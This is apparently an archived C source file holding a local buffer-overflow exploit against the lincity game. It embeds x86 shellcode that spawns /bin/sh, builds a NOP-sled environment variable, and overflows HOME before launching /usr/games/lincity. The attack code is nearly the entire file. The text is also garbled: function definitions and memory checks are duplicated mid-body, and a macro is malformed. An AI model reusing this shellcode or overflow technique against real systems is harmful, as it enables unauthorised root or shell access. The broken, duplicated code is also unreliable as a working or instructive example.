home *** CD-ROM | disk | FTP | other *** search
- #include <stdio.h>
- #include <stdlib.h>
-
- #define HOMESIZE500
- #define HUEVOSIZE 5000
-
- char *shell =
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
-
- long
- esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
- int
- main(void)
- {
- char *ptr, *bof, *egg;
- long *addr_ptr, addr;
- int i;
-
- if ( !(bof = malloc(HOMESIZE)) )
- {
- printf("NoMoreMemory4bof.\n");
- exit(1);
- }
-
- if ( !(egg = malloc(HUEVOSIZE)) )
- {
- printf("NoMoreMemory4egg.\n");
- exit(1);
- }
-
- long
- esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
- int
- main(void)
- {
- char *ptr, *bof, *egg;
- long *addr_ptr, addr;
- int i;
-
- if ( !(bof = malloc(HOMESIZE)) )
- {
- printf("NoMoreMemory4bof.\n");
- exit(1);
- }
-
- if ( !(egg = malloc(HUEVOSIZE)) )
- {
- printf("NoMoreMemory4egg.\n");
- exit(1);
- }
-
- addr = esp();
-
- addr_ptr = (long *) bof;
- for (i = 0; i < HOMESIZE; i += 4)
- *(addr_ptr++) = addr;
-
- ptr = egg;
- for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
- *(ptr++) = 0x90;
-
- for( i = 0; i < strlen(shell); i++)
- *(ptr++) = shell[i];
-
- printf("Address:\t0x%x\n", addr);
-
- bof[HOMESIZE - 1] = '\0';
- egg[HUEVOSIZE - 1] = '\0';
-
- memcpy(bof, "BOF=", 4);
- memcpy(egg , "EGG=", 4);
-
- putenv(bof);
- putenv(egg);
-
- system("export HOME=$BOF; /usr/games/lincity");
- }
-